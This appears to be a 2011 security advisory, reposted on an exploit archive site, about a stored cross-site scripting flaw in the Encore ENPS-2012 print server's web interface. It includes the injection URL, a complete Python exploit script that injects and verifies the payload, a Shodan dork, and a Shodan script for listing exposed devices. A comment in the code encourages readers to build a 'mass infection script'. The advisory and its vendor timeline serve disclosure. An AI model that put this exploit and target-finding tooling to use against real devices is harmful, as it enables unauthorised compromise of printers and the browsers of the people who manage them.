首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Encore ENPS-2012 Cross-site Scripting Vulnerability
来源:http://www.gotgeek.com.br 作者:b0telh0 发布时间:2011-04-06  

GotGeek Labs
http://www.gotgeek.com.br/

Encore ENPS-2012 Cross-site Scripting Vulnerability

 

[+] Description

Encore 3-Port Print Server converts a standalone USB or a parallel printer into
a shared printer, through a wired Ethernet connection. As a result, you can save
the cost and space for additional printers. ENPS-2012 can connect up to 3
printers - using the 2 USB2.0 ports and 1 parallel port - that users can share
across the Internet or local area network (LAN). Printing on the shared printers
from anywhere on the Internet is as easy as printing from your own office.
For your convenience, ENPS-2012 comes with a friendly WEB-based configuration interface.
This device also supports multiple network protocols and operating systems, making
shared printing in mixed-LAN environments easy.

 

[+] Information

Title: Encore ENPS-2012 Cross-site Scripting Vulnerability
Shodan Dork: ZOT-PS-39/6.3.0008 -WWW-Authenticate
Advisory: gg-005-2011
Date: 03-15-2011
Last update: 03-26-2011
Link: http://www.gotgeek.com.br/pocs/gg-005-2011.txt

 

[+] Vulnerabilities

Stored Cross-site Scripting:
Web interface from ENPS-2012 Print Server is affected by stored cross-site scripting
vulnerability because it fails to properly sanitize user-supplied input at
"NDSContext" field in "NetWare NDS Settings" area.
An attacker may leverage this issue to execute arbitrary script code
in the browser of an unsuspecting user in the context of the affected site.

After injecting the XSS code, you need to access Netware status page.

XSS:
http://target/RESTART.HTM?NDSContext=</script><script>alert("xss")</script><script>

and then..

http://target/NETWARE.HTM


Affected Version:

Encore ENPS-2012 Print Server
Firmware: 6.03.39E 0008 (ZOT-PS-39/6.3.0008)

Other versions may also be vulnerable.

 

[+] Proof of Concept/Exploit

##
#
# Exploit created for Encore ENPS-2012
# It can be easily modified to test other devices..
# or you can create a mass infection script using your shodan skills :)
#
##


# $ python enps-2012.py -t 10.1.1.245 -o 0 -s GOTGEEK
#
# [*] gotgeek labs
# [*] http://gotgeek.com.br
#
# [*] XSS Options:
# [*] 0 = alert('xss')
# [*] 1 = window.location='http://www.example.com/'
#
#
# [*] Checking print-server...
# [+] Seems to be print-server ENPS-2012
# [+] Injecting XSS code...
# [*] Wait while the print-server restarts
# [*] Checking XSS code...
# [+] XSS Injected!
#
# [*] Done!

 

#!/usr/bin/python
#

import sys, time
import httplib, socket
import urllib, re
from optparse import OptionParser

url = "/RESTART.HTM?PSName="
url2 = "&NDSContext="

usage = "./%prog -t <target> -o <xss number> -s <true str>\n"
usage+= "Example: ./%prog -t 10.1.1.1 -o 0 -s GOTGEEK"

parser = OptionParser(usage=usage)
parser.add_option("-t", action="store", dest="target",
                  help="target print-server")
parser.add_option("-o", action="store", dest="xss",
                  help="xss option")
parser.add_option("-s", action="store", dest="truestr",
                  help="true string to validate")
(options, args) = parser.parse_args()

def banner():
    print "\n[*] gotgeek labs"
    print "[*] http://gotgeek.com.br\n"
    print "[*] XSS Options:"
    print "[*] 0 = alert('xss')"
    print "[*] 1 = window.location='http://www.example.com/'\n\n"

if len(sys.argv) < 4:
    banner()
    parser.print_help()
    sys.exit(1)


def setxss():
    xss = [ '</script><script>alert("xss")</script><script>',
            '</script><script>window.location="http://www.example.com/"</script><script>' ]
    options.xss = xss[int(options.xss)]
    return options.xss


def checkurl():
    try:
        print "[*] Checking print-server..."
        conn = httplib.HTTPConnection(options.target)
        conn.request("GET", "/CNETWARE.HTM")
        r1 = conn.getresponse()
        if r1.status == 200:
            print "[+] Seems to be print-server ENPS-2012"
        else:
            print "[-] None Found!\n\n"
            sys.exit(1)
    except socket.error, msg:
        print "[-] Can't connect to the target!\n\n"
        sys.exit(1)


def injxss():
    try:
        print "[+] Injecting XSS code..."
        urllib.urlopen("http://"+options.target+url+options.truestr+url2+options.xss)
    except:
        print "[-] Can't connect to the target!\n\n"
        sys.exit(1)


def checkxss():
    print "[*] Wait while the print-server restarts"
    time.sleep(20)
    try:
        print "[*] Checking XSS code..."
        check = urllib.urlopen("http://"+options.target+"/NETWARE.HTM").read()
        if re.search(options.truestr,check):
            print "[+] XSS Injected!\n"
        else:
            print "[-] XSS NOT Injected!\n"
            sys.exit(1)
    except:
        print "[-] Can't connect to the target!\n\n"
        sys.exit(1)

 

def main():
    banner()
    setxss()
    checkurl()
    injxss()
    checkxss()
    print "[*] Done!\n\n"

if __name__ == "__main__":
    main()


#
##
#

# Looking for vulnerable devices using Shodan
# Encore, TP-Link and etc.
#

# $ python shodan_zot_ps.py 'ZOT-PS -WWW-Authenticate'
#
# [+] Results found: 2006
#
# xxx.xx.xx.xxx
# xxx.xx.xx.xxx
# xxx.xx.xx.xxx
# ...

 

#!/usr/bin/python
#

import sys
from shodan import WebAPI

SHODAN_API_KEY = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
api = WebAPI(SHODAN_API_KEY)

try:
    results = api.search(sys.argv[1])
    print "\n[+] Results found: %s\n" % results['total']
    for result in results['matches']:
        print result['ip']
    print ""
except Exception, e:
    print "Error: %s" % e

 

[+] Timeline

16-03-2011: first contact to vendor.
24-03-2011: second contact to vendor.
03-04-2011: no vendor response.
04-04-2011: advisory published.

 

[+] References

http://www.encore-usa.com/us/product/ENPS-2012

 

[+] Credits

b0telh0


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·RealNetworks RealGames StubbyU
·GNU glibc < 2.12.2 'fnmatch()'
·RealNetworks RealGames StubbyU
·eXPert PDF Convert to Word v7
·Movie Player 4.82 Denial Of Se
·Windows Media Player 11.0.5721
·Xilisoft Video Converter Ultim
·IPComp encapsulation pre-auth
·IBM Lotus Domino iCalendar MAI
·GOM Media Player 2.1.6.3499 0D
·Zend Server Java Bridge Arbitr
·Real player 14.0.2.633 0day Bu
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved